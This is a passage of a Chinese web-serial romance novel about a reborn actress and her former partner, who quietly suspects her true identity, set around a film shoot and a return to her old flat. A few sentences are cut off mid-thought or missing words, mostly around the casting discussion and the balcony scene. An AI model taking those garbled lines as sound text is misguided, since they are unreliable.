黎数手发软的从口袋里拿出手机,敲错了好几次,才把自己住的小区名字打出来。 从片场到她住的小区单程差不多也是一个半小时,往返三小时。 取东西的速度反而是最快的,但要抽出这么多时间离开片场,黎数没什么好借口,毕竟时间安排她说了不算。 电梯打开,黎数慢吞吞往外走,拿出房卡刷开了门。 酒店里面空调开的很足,冷热一激,黎数感觉胃有点不太舒服,下意识揉了揉。 元宝在前面挡路,黎数一下没站稳,伸手扶墙的当口,元宝又直接跳到了黎数后背上。 马上要七斤的猫子不能算重,但对于本来就没站稳的黎数就像是压死骆驼的最后七斤稻草。 但黎数没摔倒,也没跪地上,有人双手穿过了她的腋下,直接把她捞起来了。 她抬头一看,果然是陆嵬。 陆嵬什么话都没说,也没对刚刚在阳台看到的事情发表任何意见,她也闻到了黎数身上的酒气,扶着黎数,但一点没见嫌弃的意思。 陆嵬问她:“去床上还是进卫生间?” 又伸手把跳到黎数后背的元宝往床上轻轻一扔,元宝原地一个滚翻,漂亮落地,回头俯冲,看模样还想再来。 黎数赶紧站直,远远冲着元宝喊了声:“不来了!” 元宝不理,原地一个起跳,爪子勾到被子,半路坠猫,‘噗通’一声掉到地上,摔了个实打实的,佯装无事发生的舔|脚。 黎数松了口气,这才摆摆手说:“我去洗把脸。” 她摆动时手机随着晃动解锁,顺手把手机放在了鞋柜上。 屏幕上是还没关闭的地图页面,终点的定位,在黎数之前居住的南城鸿景苑。 陆嵬垂下眼睛,听着黎数洗漱时的水声,不动声色的将屏幕重新按灭。 然后陆嵬回过头,“周姨给你准备了醒酒汤,521上去拿了,待会喝一点再睡。” 隔着水声,黎数点了点头,意识到陆嵬看不见,才喊了声:“知道了。” 第46章 第四十六章【VIP】 黎数出来以后,521已经端着周姨做的醒酒汤下来了。 楼底下一帮年轻人开的都是灌装的,嫌弃度数太低的喝着像水,专门找人从市区订了原麦精酿的,黎数喝的时候匆匆看了一眼,都是八到十二度。 她坐在床边,刷过牙后把521端来的醒酒汤喝了,入口酸甜,和上次喝的口味差不多,但是明显要开胃一些。 “喝慢点。”陆嵬按了一下碗沿,黎数咕嘟咕嘟的动作缓了缓。 她‘嗯’了声,左手在一边摸索:“我手机呢?” 陆嵬又站起来,去玄关柜上把手机递给了黎数。 黎数把空碗放到了床头柜,酒精的效力开始上涌,冲刷的大脑一片片发晕。她有点晃神,喃喃道:“上次开机宴的时候,喝的酒那么多,度数还高,没现在这么晕啊……” 陆嵬坐在黎数对面的那张床上默默地看着她。 黎数从前的酒量其实也不怎么样,只是练出来了而已,而且喝酒容易上脸,是以每一次酒局的时候,她都会借口说是酒精不耐受来逃避酒局。 重生以来她可能根本没碰过酒精,只有上次开机宴时那唯一的一次经验。 陆嵬说:“开机宴给你倒的酒全部都是香槟味饮料,口味和浓度跟果啤没区别。” 黎数反应了一会,头陷在了两个枕头中间,慢半拍的‘啊?’了一声,声音拖得长,尾音也上扬,惹得陆嵬唇角向上勾了勾。 然后黎数又‘哦’了声,大脑像是终于把那句话分析清楚了,又抬了下头,没抬起来多少,又陷进枕头里:“我说为什么那次起床以后没头疼,回去路上也不晕呢。我还以为是我天生海量……” 原来是因为喝了一肚子果汁。 陆嵬说:“刚刚喝了多少?” 黎数垂着眼,长而卷翘的睫毛垂下,是和两个月前完全不同的长度,此刻很苦恼的在算着数。 这些细微到几乎很难以注意到的细节,如果不是很熟悉的人近距离观察,是根本不会当做一回事的。 现代化妆、美容技术已经走在了时尚的最前沿了,人工种植的睫毛有些已经可以实现内生长,就和植发一样。 陆嵬这几天晚上趁黎数睡着了以后,悄悄让521测量过,521得出了黎数的睫毛正在以平均每天0.01mm的长度缓慢增长,在峰值达到1.1cm左右才会停止的结论。 出生在四川的小黎的睫毛没有这么长,她的睫毛只有7mm左右,中规中矩的长度,而且平直,并不卷翘。 1.1cm是黎数从前拥有的睫毛长度,接吻的时候会扎到眼睛,毛茸茸的,很痒。 陆嵬细致的一点点打量着黎数的一切,从睫毛,到眉毛,再到她颈侧和胸口的小痣,最后垂下眼,看向了自己无名指上的那颗胎记。 黎数身上特定的记号不多,只有几颗痣,但足够了。 黎数终于算明白了,苦着脸比划了个6,说:“喝了八个。” 陆嵬笑了声。 那今晚是别想安生了,啤酒醉的快醒的也快,后劲不算大,只是会一直想上厕所罢了。 黎数显然也想到了这一点,喃喃道:“还好明天上午没有戏……” 明早的戏一般最晚会在前一天晚上公布,极少出现意外情况,第二天上午12点之前则会通知下午的时间排布。 陆嵬在思索着时间。 黎数自己不能离开剧组,所以只能她把黎数带出去,像是上一次把黎数带到医院那样。 可她犹豫了。 她现在觉得自己就像是走在钢丝桥的正中央,往左走,是她可以继续装傻下去,装作一切都没有发生过的样子。 只要她装作不知道黎数的真实身份,就可以继续骗自己骗下去,黎数也不会对自己起疑,会继续和她维持着平和的关系,不会真的生气,和她也还能同坐一桌,同住一房,同吃一顿饭。 往右走,则是撕破这一切的伪装,把一切全部摊开来。 她做了无数个假设,可都想不出,当这一层表象被撕破后,黎数和她的未来会走向什么样子的发展方向。 她只知道一旦撕破了这层表象的束缚,她和黎数就再也回不了头了,哪怕只是现在这样的不伦不类的关系。 黎数可能连装都不愿意再继续装了。 房间的空调开的很高,黎数盖着被子睡得很香,陆嵬一直坐在床边,等到浑身都凉透了,黎数才第一次闭着眼睛,迷迷糊糊挣扎的上了厕所。 她回来后还有点没醒神,楼下的人有的散了,但也有的人睡战局,但时间渐晚,没了游戏、猜拳、劝酒,变成了一些说地。 黎数溜达到阳台上,趴在栏杆上向下看了一眼,似乎在巡视。 底下有人发现了她,遥遥冲她打了个招呼,,也知道了底下和她打。 黎数拍摄快,吃枪少,懂站位,其中最受益的就是组,全组人员第一,说跟她合作,衣服都能少磨烂几件。 陆嵬必不可免的又想到前半程时,林辰星问黎数的话。 “最后一次接吻是什么时间?” ——七八个月前。 “和你那个小对象分手了吗?” ——早就分了。 去掉横亘在她们之间那消失的两年时间,她和黎数最后一次接吻的时间,就是2027年2月14日的七八个月前。 然后在2027年2月14日当天,黎数决定和她分手,她自己放弃了黎数给她的解释的机会。 黎数重新走了回来,睡了一会以后,她好像清醒的多了,走路时也不需要在努力认清脚下的路,担心自己会摔到了,迷迷糊糊回到了床上,撩起被子时,又抬头看了陆嵬一眼。 过了会,她疑惑的说:“陆……陆总。” 陆嵬僵直着抬起了头,一个简简单单的动作,她好像听到了骨骼在发出‘咔咔’响的声音。 “大半夜的……”黎数咕哝着闭上眼:“你cos什么思想者呢……” 陆嵬沉默着没说话。 过了一段时间,灯灭了。 黎数于黑暗中颤了颤眼皮,身体向下缩了缩,还能听到外面时不时传来的笑声,隔着一层窗户和墙,传来的人声反而让人有种安全和舒适感。 山林并没有给她任何的不适,就算只是虫鸣鸟叫都让黎数能更快的安眠。 黎数终于发出了一声喟叹,就在她即将进入梦乡的时候,忽然察觉到很轻微的脚步声。 陆嵬的床距离她的床之间只有不到一米,脚步声响了两下,黎数眨了眨眼,睁开了眼睛。 房间内漆黑一片。 所有的灯光被关闭,遮光窗帘连带着最后一丝月光都被挡在了阳台外面,黎数本来就闭着眼睛,没一会适应了房间内的光线,但也只能看到陆嵬站在床边的大概轮廓。 莫名的,黎数没有动,呼吸依然长而缓,静静地等着床边的人下一步的动作。 片刻后,她感受到陆嵬掀开了她被子的一角,慢慢躺在了她身边的位置。 没有距离很近,两个人中间隔着一段距离,只有一股明明很像,但却又不太一样的沐浴露的味道传来。 也是很奇怪,明明两个人用的都是同一款沐浴露,但气味总有细微的不同。 黎数又等了一会,她也不知道时间过了究竟多久,只是在外面又传出了一阵明显的笑声之后,黎数轻轻喊了一声:“陆总?” 身边的人没有动静,呼吸很轻。 黎数翻了个身,面对着陆嵬,其实也看不清楚,只能大致看到陆嵬闭着眼睛,和她极优越的侧脸,以及高挺的鼻梁。 陆嵬祖上应该是有外国血统,她的轮廓比起国人来说要深邃很多,黑暗的环境加上眉骨的阴影,黎数只能看到她眼皮上一丁丁点的皮肤。 她又很轻的喊了声:“陆嵬。” 她意识到自己不该这么喊,但很快想起,陆嵬应该是又梦游了,否则不会又跑到她床上来睡。 黎数重新躺平,头脑还是昏昏沉沉的,闭眼前她最后咕哝了一声,说:“你这梦游的内容还不太一样,这次没先去车里。” 意识慢慢模糊,黎数逐渐陷入了沉睡。 睡之前她好像迷迷糊糊听到了有人喊她‘黎数’,这个名字熟悉又陌生,因为重生以来几乎所有人喊她都是‘小黎’,很少有人喊她的大名。 后面这个声音似乎又说了什么别的,黎数下意识的感觉不对,想睁开眼,但是没能挣扎过去,还是睡着了。 等到黎数醒来,已经是第二天了。 日光肆意的从屋外照到地面,阳台边的区域被晒得滚烫,看这灿烂程度,估计已经到了快中午。 她下意识的看了眼身侧,陆嵬已经不见了。 黎数从床上坐了起来,伸手捂住了脸,没一会,元宝过来蹭她露在被子外面的手臂,毛茸茸的触感让黎数重新抬起了头。 黎数的声音有点沙哑:“吃早饭了吗?肚肚饿不饿?” 小碗里空空荡荡,黎数起身,动作缓慢的给元宝添了猫粮,看着它小口小口的吃,一边喃喃道:“你现在已经没那么敌视陆嵬了,以后它给你装的饭你也要记得吃,知道吗?” 元宝一边吃一边抬头轻轻的‘喵喵’,像撒娇,又像是说不要。 黎数总感觉少了点什么,过了会才想起来,好像今天少了点521叽叽喳喳喊‘小黎早上好’的声音。 她起床去洗漱,拿起手机的时候才发现页面上还停留在地图的界面上。 上面显示着实时更新的高峰预警,本来只有一个半小时的车程可能会延长到两个多小时,交警正在努力疏散。 这样黎数的出行难度又高了很多。 但哪怕是主角,演员随意请假都是大忌,因为这不光是一个人的问题,而是一个人的工作变动,动辄就需要成百上千号人去配合。 要么大牌到像沈凝雪等人,可以理直气壮的只提出诉求,其他的都让剧组解决,要么就透明到可以不管工作直接离开,直接被删角色,反正也不会有人记得你究竟是谁。 像黎数这样的,角色不大不小戏份多,咖位未定,又牵连甚广的,反而进退两难。 黎数洗了个澡出来以后清醒多了,刚换好衣服,准备下楼吃饭,就碰到了拎着食盒进来的陆嵬。 每天让陆嵬这么传菜也不像个事儿,黎数自觉把自己放在了‘替身’的位置上,想了想说:“每天这么麻烦周姨是不是不太好?” 陆嵬闻言说:“最近感觉身体怎么样?” 黎数想了想,“蛮好的,真挺好的,身体明显有力气多了,肌肉也练出来了。” 刚进组的时候还经常感觉头晕眼花,有一种很明显的体力亏虚的情况,她也没工夫去做全身体检,只大概猜测应该还是之前原主割腕时失血过多引起的。 但近期每顿饭都很有营养,周姨又每天给她炖了汤,吃的也算准时,又天天在外面晒太阳拍戏,已经明显好多了。 起码十几个小时的工作下来只是单纯的累,而不再有经常累到两眼发黑,总会有要猝死的感觉。 陆嵬把餐盒放在桌上,说道:“那周姨的辛苦就没白费,先过来吃饭。” 吃的时候陆嵬才说:“明天你有一天的假期。” 黎数心里一动,“假期?” 陆嵬“嗯”了声说,往一个小碗里面挖了一勺汤,又盛了几块已经炖烂的牛肉,放在了黎数面前:“也可能说是半天,明早上顾宗年正式来《秘宝》探班,面上的流程走完以后,费导和主演们会陪着他一起去市里的酒店吃饭,回来的时间不定,所以全组放假一天。” 黎数愣了愣,“顾导来探班?” 私下里演员聊天时大多还是用尊称,陆嵬也没什么意见,她喊她自己的,也的确是看不出来一丁点对顾宗年的尊敬。 闻言她应了声,说道:“人已经来了,他们中午在酒店吃便饭,吃完以后直接进市区,待会我带你去跟他见一面。” 黎数忽然反应了过来,说道:“他这个时间过来,是为了他六十大寿的事情吧?” 陆嵬点点头。 黎数想了想自己的身份,琢磨着陆嵬带她见顾宗年的用意——但实在是摸不清,不由说道:“待会人多吗?林辰星她们也在?” “只有主创在。”陆嵬说:“不想去?” 那林辰星就是不在的意思,陆嵬带她过去应该是有别的用意。 黎数摇了摇头,“没有,想去。” 哪怕只是一个见面的机会,都没有演员会不想见顾宗年。 她和林辰星才刚说过《校园禁区》和顾宗年的事情,没想到这就要见到面了。 但见面以后该说什么、做什么……黎数猛地回神,忽然想起陆嵬让她扮演替身替身的原因自己还不知道,低声说:“我应该做什么?” 陆嵬思考了一会,说:“随机应变吧。” 这话说了和没说也没两样,黎数无奈,但也只能说了句好。 酒店的便饭不能说难吃,整体口味一般,但场面关系也不能一丁点都不吃。陆嵬显然也考虑到这一点了,所以这顿饭的量就不大,只垫了个底。 黎数吃饱以后仔细把门窗都关好,但这还是头一次在外面把元宝单独一个人留在房间,颇有点不放心,元宝也黏人的很,死死抱着黎数的胳膊不愿意撒开。 居然破天荒的朝陆嵬‘喵喵’叫了两声,就是听起来不像是撒娇,像威胁。 陆嵬已经走到了门边,回头看了一会,忽然说了句:“带上吧。” 黎数就把元宝抱上了,默默地跟到了陆嵬身后。 元宝疑惑的望着陆嵬的后背。 期间她问陆嵬521去了哪,陆嵬脚步停了一下,然后说:“回家当监工了,家里请了家政定期来打扫。” 这家酒店并不是什么多好的酒店,顶多算是三星级,因为被剧组包了下来,所以饭菜改成了自助餐厅,菜色标准也只能算一般。 没了521,元宝一只猫莫名胆小了很多,缩在黎数的怀里,大眼睛惊恐的打量着四周的一切,偶尔有人路过,脑袋就直接扎到了黎数腋下,死都不愿意出来。 两人前后进了自助餐厅,里面的人不多,费鹤鸣等主创都在其中一张拼起来的桌子上,隐隐约约把一个头发漆黑的男人围在正中。 黎数下意识的看了眼陆嵬花白的头发。 陆嵬像是很警觉的捕捉到了,问了句:“想问我怎么不把头发染黑?” 黎数‘啊’了声,没想到就一眼就被陆嵬发现了,就挠了挠头,说:“是挺好奇的。” 陆嵬从前是还挺爱臭美的一个人,倒也不多明显,但黎数敷面膜的时候她也总要凑上来一起敷,黎数对着镜子化妆的时候她也总要凑上来,经常也不明说,就立在那让人猜。 是以她这么久以来也没染过头发这件事情,确实让黎数感觉挺好奇的,这才想起来,别说是染头发,甚至都不经常能看到陆嵬化妆。 之前在寰宇时看到的陆嵬,包括后来在开机宴上,哪怕是需要出镜,陆嵬都是完全素颜就上了。 陆嵬给黎数打开了里面的那层玻璃门,黎数已经习惯了这样的待遇,擦着陆嵬进去的那一瞬间,她听到陆嵬说:“因为想展示的人不在了。” 黎数被这句话定住,下意识回头看了一眼。 陆嵬笑了笑,“走吧。”- 桌上已经摆满了吃的,黎数就只盛了点玉米和豌豆粒过去,手里是一杯脱脂牛奶,陆嵬什么都没拿。 陆嵬过去的时候,裘夏刚让开了沈凝雪身边的位置,示意陆嵬过去,自己则隔着一个位置坐下了。 陆嵬拍拍裘夏的肩膀,示意裘夏再往旁边挪挪,给黎数腾出来个位置。 裘夏挑眉,背过众人低声说:“别太过分啊。” 陆嵬也压低嗓音,“以后你就不用给我让地方了。” 裘夏狐疑瞅她,“骗我你是狗。” 陆嵬平静的和她对视,三秒后,裘夏让开位置,又往边上挪了一位。 还不等黎数坐下,费鹤鸣就率先放下了手里的东西,介绍道:“说着人就来了。来,我给各位介绍一下,这位就是黎数,小陆新签约的艺人,小裘亲自带的,很有潜力,我很看好她。凝雪、老范和我几个人都没抢过,让小陆先下手一步了。” 费鹤鸣话锋一转,介绍起了那三个陌生人:“这位就不用我多介绍了,顾宗年顾导,过来特意探班的,旁边这位……小陆,你来介绍吧。” 陆嵬抬头看了眼,随意说:“陆茂,我爸。” 她说完以后就没了下文,陆茂旁边的一个大约三十出头的男人笑着站起了身,端着酒杯说道:“我是温永元,刚从洛杉矶回来。” 他是冲着陆嵬举得杯,陆嵬没理。 黎数笑笑,抱着不撒手的元宝一一躬身和这几位握了手。 顾宗年她如雷贯耳,没人不认识,陆茂虽然不在人前显山露水,但只有圈内的人大多也都知道,不少重要仪式和开机宴上他都在场,各大节目的晚会和重要盛典,他也一定都在前排。 倒是温永元,只说了从国外回来,却没说自己是干什么的。 名字也有一点耳熟,但却怎么都想不起来了。 温永元目光先望向了黎数怀里的猫,脸上虽然是笑着,但话听着怎么都不像是好意:“黎小*姐来这种场合还要带着猫吗?看得出来很爱猫了。” 黎数莫名其妙的眨了眨眼睛。 沈凝雪笑着往陆嵬盘子里夹了点菜,看她没有要吃的意思就没再继续,闻言轻笑了一声,“那是小嵬的猫,不被小黎抱着容易伤人。” 温永元脸色讪讪,“是吗?那这猫还怪有个性的。” 黎数心里也大概有个谱了。 她想了一会,还是没想起来到底在哪见到过温永元,只知道对方对自己敌意颇大,就问了句:“温先生说是刚从洛杉矶回来?现在在哪高就?也是演员吗?” 温永元谦逊的笑了笑,“哪里,刚在洛杉矶学习回来,还谈不上高就,目前正跟着顾老师打下手。” 黎数了然,顾宗年的得意门生。 自己这边,陆嵬则是显意上的费鹤鸣的接班人,这么一对比,几乎高下立现了。 就是看着不像是个聪明人,黎余可能都比他会看脸色看场合一点。 心里千般想,黎数面上不露声色的笑:“温先生,久仰大名,幸会,幸会,以后要是有合作的机会的话,还请多多指教。” 温永元这下笑的真了点:“一定。你既然是陆总的艺人,以后咱们免不了会合作。你和陆总很熟悉?之前没听她提起过你。” 黎数面色古怪。 这话就轮不到她来说了,也不好随便搭话,就朝陆嵬看了过去。 陆嵬正垂着头切牛排,但又没完全切开。 切了个多宫格以后,陆嵬像是终于觉得满意了,在桌子上左右找了找,从裘夏那边抢过来了一盒番茄酱。 她不紧不慢的涂,一边插起一小块牛排放到了黎数唇边:“是很熟,毕竟同吃同住了很久。我也正想请小黎担任我下一部戏的女主角。” 黎数不明所以,但张口吃掉了。 然后她就看到陆嵬弯着眼睛笑了。 话音落下,陆嵬把牛排放到了黎数面前,还贴心的给她准备好了纸巾。 桌上所有人神色都有了极大的变化。 第47章 第四十七章【VIP】 黎数抿了口苏打水,目光很隐秘的打量起了陆嵬。 也说不好是从什么时候开始的,但陆嵬的行为和几个月前‘刚认识’的时候,似乎发现了某种偏差。 以前陆嵬对自己所有的‘亲密’举动,大多时候都像是忽然想起来还有这么一份工作,所以需要履行一下。 现在……好像顺理成章了很多,也更自然了。 不像是在不熟练的恪守某种自己制定下的任务演戏,更像是真情流露。 真的喜欢上了一个替身? 黎数觉得不像。 顾宗年的神色跟刚才有了差别,他不动声色的问,“小嵬,你下一部戏有想法了?” 在场几人神色各异。 试探的、开心的、欣慰的、还有诸如陆茂那种面无表情的,又或是温永元这种毫不掩饰的、脸上写满了兴奋的——像是终于等到了卸甲的敌人重新上了战场,两人终于有较量的机会的样子。 陆嵬脸上没笑,只一盒几根薯条就能沾干净的番茄酱不太够,她抢完了裘夏的,左右看看,又去抢沈凝雪的,然后全放在了黎数面前。 沈凝雪弯了弯眼睛。 裘夏不高兴的瞪她。 陆嵬全当看不见,不咸不淡的说:“有点想法吧,但是那部戏国内不能上映,我又这么多年不拍戏,愿意接的人未必多。” 注定不能上映的题材。 顾宗年神色微动,目光望向了陆茂,低声说:“是之前你跟我说过的那部双女主的戏?叫《年年》?” 陆茂不动声色的点点头。 顾宗年略作出了些思考的样子,过了会,他笑着说:“有意向的演员吗?或许老师可以帮你推荐几个有演技的演员。” 顿了顿,顾宗年看了眼费鹤鸣,笑着说:“知道你不喜欢老演员背后的资本互相倾轧,老师这里有演技的新人也不在少数。” 陆嵬放下给黎数已经打开了的番茄酱盒子,看了看指尖沾到的一点,又看了看黎数红润的、泛着亮光的嘴唇,盯了两秒,手指蜷缩了片刻,还是伸手用纸巾擦掉了。 然后她不咸不淡的说:“不是说了吗,选了小黎做一番女主。” 顾宗年的笑容顿时变得有些意味深长。 沈凝雪听到陆嵬主动提起这个话题的时候,就一直盯着陆嵬看,陆嵬的动作自然也瞒不过她的眼睛。 正好陆嵬也转头看她,沈凝雪凝眸一笑,冲陆嵬露出了个很浅的、带着疑问的目光。 陆嵬安抚性的拍了拍沈凝雪的手,凑近她耳边,轻声说:“是《年年》,之前忘记告诉你了,我已经在准备筹备了。” 沈凝雪低低应了声,看了陆嵬一会,很温柔的说了声好。 这些话题黎数都插不上话,只能小口小口的假装吃饭。 但牛排的味道意外的不错,她有些惊喜,下意识的看了眼窗口的位置,却发现窗口那边,居然是周姨在做饭。 黎数一怔,才意识到陆嵬和她是后来的,她拿的两样用来消磨时间的磨牙零食是从自选区随意拿的,但是陆嵬端来的牛排却是现做的,上面甚至还有用来醒肉的锡箔纸。 黎数垂下眸子,动手慢吞吞的一点点切牛排,偶尔配一点旁边盒子里的番茄酱吃。 一开始还没觉得有什么,直到番茄酱的口感变得明显,在舌尖尝到一些酸味的时候,黎数瞬间一愣,咀嚼的动作变的极其缓慢,目光缓缓落向了面前只切了一半,但没有完全切开的牛排。 一直以来心里隐隐约约感受到的不对劲再一次涌了上来。 这段时间黎数过得实在是太顺心了一点——衣服每天有521帮她洗干净以后再拿出来晾干,每天起床以后元宝也都咕噜噜的躺在自己身边。 周姨做的饭,也慢慢变成了自己爱吃的,甚至总隔三差五看到,自己很喜欢吃,但除非看到,否则一般想不起来尝尝的菜系。 无一例外,比如上次的粉蒸耦合,再比如眼前这道明明可以直接切块,却只切开了一半厚度的牛排。 还有旁边她用来搭配牛排吃,但对于不少人来说都显得不伦不类的番茄酱。 “这就巧了。”顾宗年笑笑:“老师正好也在重新筹备《真凶》,还没有找到合适出演岑巡的演员,你到时候也可以帮老师多留意留意。” 顾宗年的视线若有似无得飘到黎数的身上,有不着痕迹的打量。 黎数努力抑制住了自己在此的想法,也没抬头,怕过于明显的情绪会不受控的外泄。 顾宗年当初选女演员的时候,对女演十五岁到三十五岁之间,后来因为项目莫名其妙的搁置,大。 两年的时间,有的人已,也有的人已经过了岁数,不再适合演。 她现在刚刚十八,不 陆嵬‘嗯’了声,说话留了几分余地,“要是有合适有意向的,我会帮忙留意的。” 黎数一块牛排吃的差不多了,放下了刀叉。 陆嵬看了她一眼,像是没吃饱,把黎数面前的那份端了过去,用叉子随意划弄了几下,自己一口口的吃完了。 黎数见状眨了眨眼。 顾宗年眼神里流露出了些许认真的探究。 一顿饭的时间,要聊的东西无非也就这么点,大家吃完还都有事做,面前那块牛排吃完以后,陆嵬就对费鹤鸣说:“费导,我和小黎先走了。” 到现在都一直没怎么出过声的陆茂却突然说道:“客人还在,你提前走像什么样子?” 陆嵬扫了他一眼,表情没有任何变化:“我也是客人。” 陆茂皱了皱眉。 费鹤鸣打了个圆场:“小陆本来就不是剧组工作人员,这次过来就是看看。” 陆茂是陆嵬的亲生父亲,但显然关系比一般还一般,没到仇人相见的地步,但也差不多了。 裘夏起来要送她,陆嵬拒绝了,裘夏就没再继续坚持。 黎数回头看了一眼,裘夏又坐回了沈凝雪旁边,两个人旁若无人的交头接耳,费鹤鸣独自饮茶,顾宗年神色不动,偶尔和费鹤鸣低语两句,倒是温永元和陆茂聊的火热,已经走出很远,还能听到有阵阵的笑声传来。 黎数还记得明天假期的事情。 已经过了中午,但到现在都还没收到下午的时间安排,那也就意味着下午没戏。 黎数心里惦记着要回家取钱的事情,下意识问道:“明天是剧组的成员一起去剧组,还是自由行动过去?” 陆嵬想了想,说:“都可以。” 黎数抿了抿唇,点点头,垂下眼皮说:“知道了。我下午没戏,想先回紫檀一趟,收拾一下东西。” 陆嵬说:“可以。” 陆嵬双手自然垂落在身侧,整个人站得笔直,午后日光倾泻,酒店隔着一道大门都能感受到外面的暑气。 进来的人一个个进入旋转门后离开,黎数莫名有点迈不开脚的感觉。 陆嵬沉默了好一会,说道:“我让张姐送你。” 黎数顿了顿,说:“不用,春风送我就可以。” 交通新规房车也可以自由上路,春风的驾照齐全,房车这种体积的也能开,之前也是她和521交替的。 陆嵬这次没再勉强。 黎数转过身朝前走,走的并不快,但没有回过头。 陆嵬下意识的追着她的背影追了几步,又被旋转门挡着停了下来,然后再一次慢慢的跟了上去。 黎数没有回房间,径直的上了房车。片刻后春风赶到,房车被启动,慢慢的离开了片场。 陆嵬回了房间。 酒店五楼最多可以看到远处一两公里以外的公路,再远的位置就看不到了。 她等了一会,没看到黎数的那辆房车,应该是已经走远了。 房间里只剩下她和元宝。 元宝已经没有了黎数刚回来时的警惕,但独自一只猫和陆嵬呆在一起的时候,更愿意在陆嵬碰不到的高处待着,再用一双澄黄的眼神盯着她的一举一动。 陆嵬在房间枯坐了很久,手里的烟一根一根的燃烬,屋里的烟雾迟迟不散。 她在犹豫、在迟疑,这一刻甚至不知道究竟自己做的每一步的选择到底是对是错。 可已经走到这一步了,她已经没得选了。 比起合同到期后黎数主动从她的世界里消失,比起以后黎数察觉到什么,将一切痕迹抹平,让她问都没法问,比起和黎数就这么不清不楚,难进难退的一直维持着这种表面关系下去,她宁愿破釜沉舟一次。 不论结果如何,她都认,也必须认。 起码不再像是这样束手束脚,说不能说,做不能做,什么都隔着一层的样子。 地上落了一地的烟灰,她的手兀自颤抖着,陆嵬看着这一地的狼藉,苦笑一声,缓缓吐出了一口气。 时间无声的走着,陆嵬终于在一片寂静中看了看腕表,然后站了起来,从门口拿起了一个猫包。 元宝窝在柜子高处和她冷冷的对视。 陆嵬和它僵持着,过了会,她忽然说:“这是你自己不进来的。” 元宝巍然不动。 陆嵬的手按在猫包上,过了会,低声说:“不带你过去也可以。” 黎数不会只因为和她的事情就放弃工作,也不会因为她就放弃不见元宝,她一定会回来,不管是工作还是元宝,黎数都会负责到底。 这次不去,还能多找借口见黎数一面。 她也故意留了行李在房间。 陆嵬走到了门边,不放心的又重新检查了一遍门窗,又把空调打开,放了一台剧组的移动监控设备,确定都收拾好了以后,这才转身出了门。 张姐已经在楼下等了她一会了,见陆嵬上来,二话不说发动了车子,说道:“还是送你回家吗?” 陆嵬轻轻应了一声。 心脏不受控制的在颤抖跃动,腕表上的实时监测数据已经发出了数次红灯警报。 陆嵬期间接到了来自裘夏、沈凝雪等人的电话,她惊讶于自己还能平静的回复消息,又感叹人的潜力果然是无限的。 呼吸有些不畅,车内的空气密闭,偶尔从后视镜中能看到张姐毫不掩饰的担忧的表情。 终于在一个红灯路口,张姐忍不住探过身子,说道:“小陆,咱们要不去一趟医院?你脸色看着很差。” 陆嵬摇了摇头,“没事,情绪有点控制不住而已,我吃过药了,一会就好。” 过了会,陆嵬又问:“我脸色很差吗?” 张姐皱着眉点了点头,担心一览无遗。 陆嵬搓了搓脸,看了眼窗外,快到了。 春风开车的速度很慢,晚出发一会也没什么,可以追上的。 黎数今晚也不回剧组,明天上午去完酒店以后就没时间了,所以她今晚一定会把钱交到齐若兰手里。 陆嵬不担心自己会扑空。 她把521留在了黎数的家里。 黎数那么聪明,不可能不知道521出现在那意味着什么。 吃下去的那颗药好像没什么作用,这不是陆嵬第一次体验到像是要被凌迟一样的痛,呼吸受限、心脏狂跳,浑身都是冷汗,不能自抑的颤抖。 但她想不起来究竟是第几次了,面对这种情况也没什么更好的办法,只能一次次的前往黎数家里,躺在熟悉的床上,盖着黎数的被子,被她的味道包裹着,才能好受一点点。 她闭了闭眼,才发现汗水已经把睫毛打湿了。 陆嵬擦了把眼,下意识的说:“张姐,快点。” 然后陆嵬盯着自己的手愣了愣,忽然沉默了- 黎数径直去了鸿景苑。 到地方的时候还是下午,日头正烈,那辆房车太显眼,黎数让春风在附近的一个商场等她,自己单独打了辆车过来。 保安在保安室里乘凉,看到黎数走近也就是眯了眯眼睛,没有什么动作,一直到黎数走到了门前,保安站了起来,同时打开了窗户。 鸿景苑算是申海市中高端的小区,起码保安二十四小时配备,但两年过去,以前的老保安也换了新人。 黎数指了指门禁,说道:“麻烦开一下门。” 个人进入查得不严,没带钥匙和门禁卡的业主多的是,保安也没多问,直接给开了。 小区里绿化很多,但这会没什么人,静悄悄的。 黎数目不斜视的往前走,几乎不需要刻意去看路,肢体记忆比大脑反应还敏锐,等黎数抬起头的时候,她已经到了自己所住的单元楼楼下。 电梯间里也空无一人,黎数闭上眼,靠着电梯平稳了一下因为走的太快而有些急促的呼吸。 电梯到了19楼。 黎数走到了自己的家门口。 门口空荡荡的一片,只有一张她走前就放着的小毯子,上面干干净净,看不出有什么脏污的痕迹。 她下意识的伸出手,门锁发出了指纹认证失败的提示音,黎数又试了两三次,忽然意识到什么,略皱了皱眉。 忘了,身体已经不是自己的了,指纹肯定不会通过了。 她垂下眼睛,打开盖子,输入了一串数字后,门被打开。 陆嵬没有更换密码,这让黎数最担心的事情暂时被放下了。 黎数轻轻的开门进去。 她下意识的抬起手,才想起来自己不是开车回来的,没有车钥匙,自然也不需要把钥匙挂在挂钩上。 收回手,黎数大致看了一眼室内,有陌生感,但更多出扑面而来的舒适和安逸。 这毕竟是她自己的家,只属于她的、可以不用担心居无定所,也不用担心无处可去的家。 因为还是白天,房间的朝向也好,窗帘没拉,所以客厅很亮。 一切都是黎数最熟悉的样子,熟悉到她此时此刻站在这里,几乎没法想象,时光居然已经在自己的身上过去了整整两年。 这个家里承载了她太多的东西了。 沙发背面的墙上是她和陆嵬的照片墙,从陆嵬和她同住的那一天开始,或别扭的,或认真的,或懊恼的,林林总总上百张,时间横跨七年多。 客厅角落因为楼上渗水而导致轻微脱落、但一直没顾得上收拾的墙皮,被元宝抓的稀巴烂的沙发,和已经成了一块废布、到处都是勾丝的窗帘。 可时光经久,墙上的照片已经褪色泛黄,沙发也明显老旧,四处都充斥着一股久无人居住的陈腐气息。 黎数深深的呼吸了口气,垂下眼睛,没在原地再多待,走到了主卧去。 地面和柜子上几乎没有灰尘,黎数猜想可能是陆嵬时常会叫人过来打扫的缘故,否则两三年不住人,可能屋里的大部分家具就已经报废了。 走进主卧,黎数意外的发现床上用品居然还保留着她离开时的那套,但她伸手摸了摸,上面没有灰尘,也比她印象中的要褪色了一些,看上去像是一直在用。 她心里产生了一个几乎不可能的想法——难不成陆嵬还时不时在这里住? 她伸手捏了捏床上的被子,被子薄厚适宜,一年四季都可以用。 黎数当初装修的时候,因为想着未来要和陆嵬一起住,担心会委屈她,所以几乎掏空了自己所有的积蓄,用的也是当时最贵的新风系统,明明面积不大,却采用了并不配套的制冷设备。 